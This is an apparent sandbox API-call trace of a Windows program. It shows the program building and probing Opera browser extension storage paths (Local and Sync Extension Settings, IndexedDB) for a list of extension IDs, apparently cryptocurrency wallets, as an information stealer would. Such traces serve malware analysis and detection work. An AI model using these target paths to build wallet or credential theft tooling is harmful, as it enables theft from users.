[0052.708] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk") returned 124
[0052.708] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk\\CURRENT") returned 132
[0052.708] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk") returned 123
[0052.708] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk\\CURRENT") returned 131
[0052.708] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_imloifkgjagghnncjkhggdhalmcnfklk_0.indexeddb.leveldb") returned 146
[0052.708] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_imloifkgjagghnncjkhggdhalmcnfklk_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.708] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\imloifkgjagghnncjkhggdhalmcnfklk\\current")) returned 0xffffffff
[0052.709] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\sync extension settings\\imloifkgjagghnncjkhggdhalmcnfklk\\current")) returned 0xffffffff
[0052.709] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_imloifkgjagghnncjkhggdhalmcnfklk_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\indexeddb\\chrome-extension_imloifkgjagghnncjkhggdhalmcnfklk_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.709] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.709] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.709] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\acmacodkjbdgmoleebolmdjonilkdbch") returned 124
[0052.709] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\acmacodkjbdgmoleebolmdjonilkdbch\\CURRENT") returned 132
[0052.709] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\acmacodkjbdgmoleebolmdjonilkdbch") returned 123
[0052.709] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\acmacodkjbdgmoleebolmdjonilkdbch\\CURRENT") returned 131
[0052.709] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_acmacodkjbdgmoleebolmdjonilkdbch_0.indexeddb.leveldb") returned 146
[0052.709] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_acmacodkjbdgmoleebolmdjonilkdbch_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.709] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\acmacodkjbdgmoleebolmdjonilkdbch\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\acmacodkjbdgmoleebolmdjonilkdbch\\current")) returned 0xffffffff
[0052.709] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.709] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.709] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa") returned 124
[0052.709] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa\\CURRENT") returned 132
[0052.709] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa") returned 123
[0052.709] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa\\CURRENT") returned 131
[0052.709] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_bfnaelmomeimhlpmgjnjophhpkkoljpa_0.indexeddb.leveldb") returned 146
[0052.709] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_bfnaelmomeimhlpmgjnjophhpkkoljpa_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.709] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa\\current")) returned 0xffffffff
[0052.709] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.709] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.709] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm") returned 124
[0052.709] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm\\CURRENT") returned 132
[0052.709] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm") returned 123
[0052.709] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm\\CURRENT") returned 131
[0052.709] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_ejbalbakoplchlghecdalmeeeajnimhm_0.indexeddb.leveldb") returned 146
[0052.710] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_ejbalbakoplchlghecdalmeeeajnimhm_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.710] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\ejbalbakoplchlghecdalmeeeajnimhm\\current")) returned 0xffffffff
[0052.710] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.710] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.710] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl") returned 124
[0052.710] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl\\CURRENT") returned 132
[0052.710] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl") returned 123
[0052.710] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl\\CURRENT") returned 131
[0052.710] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_odbfpeeihdkbihmopkbjmoonfanlbfcl_0.indexeddb.leveldb") returned 146
[0052.710] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_odbfpeeihdkbihmopkbjmoonfanlbfcl_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.710] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl\\current")) returned 0xffffffff
[0052.710] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.710] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.710] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh") returned 124
[0052.710] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh\\CURRENT") returned 132
[0052.710] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh") returned 123
[0052.710] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh\\CURRENT") returned 131
[0052.710] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_fhilaheimglignddkjgofkcbgekhenbh_0.indexeddb.leveldb") returned 146
[0052.710] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_fhilaheimglignddkjgofkcbgekhenbh_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.710] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\fhilaheimglignddkjgofkcbgekhenbh\\current")) returned 0xffffffff
[0052.710] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.710] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.710] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn") returned 124
[0052.710] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn\\CURRENT") returned 132
[0052.710] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn") returned 123
[0052.710] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn\\CURRENT") returned 131
[0052.710] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_mgffkfbidihjpoaomajlbgchddlicgpn_0.indexeddb.leveldb") returned 146
[0052.710] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_mgffkfbidihjpoaomajlbgchddlicgpn_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.710] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\mgffkfbidihjpoaomajlbgchddlicgpn\\current")) returned 0xffffffff
[0052.711] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.711] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.711] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca") returned 124
[0052.711] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca\\CURRENT") returned 132
[0052.711] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca") returned 123
[0052.711] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca\\CURRENT") returned 131
[0052.711] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_aodkkagnadcbobfpggfnjeongemjbjca_0.indexeddb.leveldb") returned 146
[0052.711] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_aodkkagnadcbobfpggfnjeongemjbjca_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.711] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_aodkkagnadcbobfpggfnjeongemjbjca_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\indexeddb\\chrome-extension_aodkkagnadcbobfpggfnjeongemjbjca_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.711] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.711] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.711] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf") returned 124
[0052.711] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf\\CURRENT") returned 132
[0052.711] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf") returned 123
[0052.711] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf\\CURRENT") returned 131
[0052.711] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_hmeobnfnfcmdkdcmlblgagmfpfboieaf_0.indexeddb.leveldb") returned 146
[0052.711] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_hmeobnfnfcmdkdcmlblgagmfpfboieaf_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.711] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_hmeobnfnfcmdkdcmlblgagmfpfboieaf_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\indexeddb\\chrome-extension_hmeobnfnfcmdkdcmlblgagmfpfboieaf_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.711] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.711] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.711] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo") returned 124
[0052.711] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo\\CURRENT") returned 132
[0052.711] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo") returned 123
[0052.711] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo\\CURRENT") returned 131
[0052.711] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_lpfcbjknijpeeillifnkikgncikgfhdo_0.indexeddb.leveldb") returned 146
[0052.711] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_lpfcbjknijpeeillifnkikgncikgfhdo_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.711] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\lpfcbjknijpeeillifnkikgncikgfhdo\\current")) returned 0xffffffff
[0052.712] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.712] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.712] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm") returned 124
[0052.712] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm\\CURRENT") returned 132
[0052.712] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm") returned 123
[0052.712] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm\\CURRENT") returned 131
[0052.712] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_dngmlblcodfobpdpecaadgfbcggfjfnm_0.indexeddb.leveldb") returned 146
[0052.712] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_dngmlblcodfobpdpecaadgfbcggfjfnm_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.712] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\dngmlblcodfobpdpecaadgfbcggfjfnm\\current")) returned 0xffffffff
[0052.712] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.712] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.712] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\lpilbniiabackdjcionkobglmddfbcjo") returned 124
[0052.712] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\lpilbniiabackdjcionkobglmddfbcjo\\CURRENT") returned 132
[0052.712] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\lpilbniiabackdjcionkobglmddfbcjo") returned 123
[0052.712] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\lpilbniiabackdjcionkobglmddfbcjo\\CURRENT") returned 131
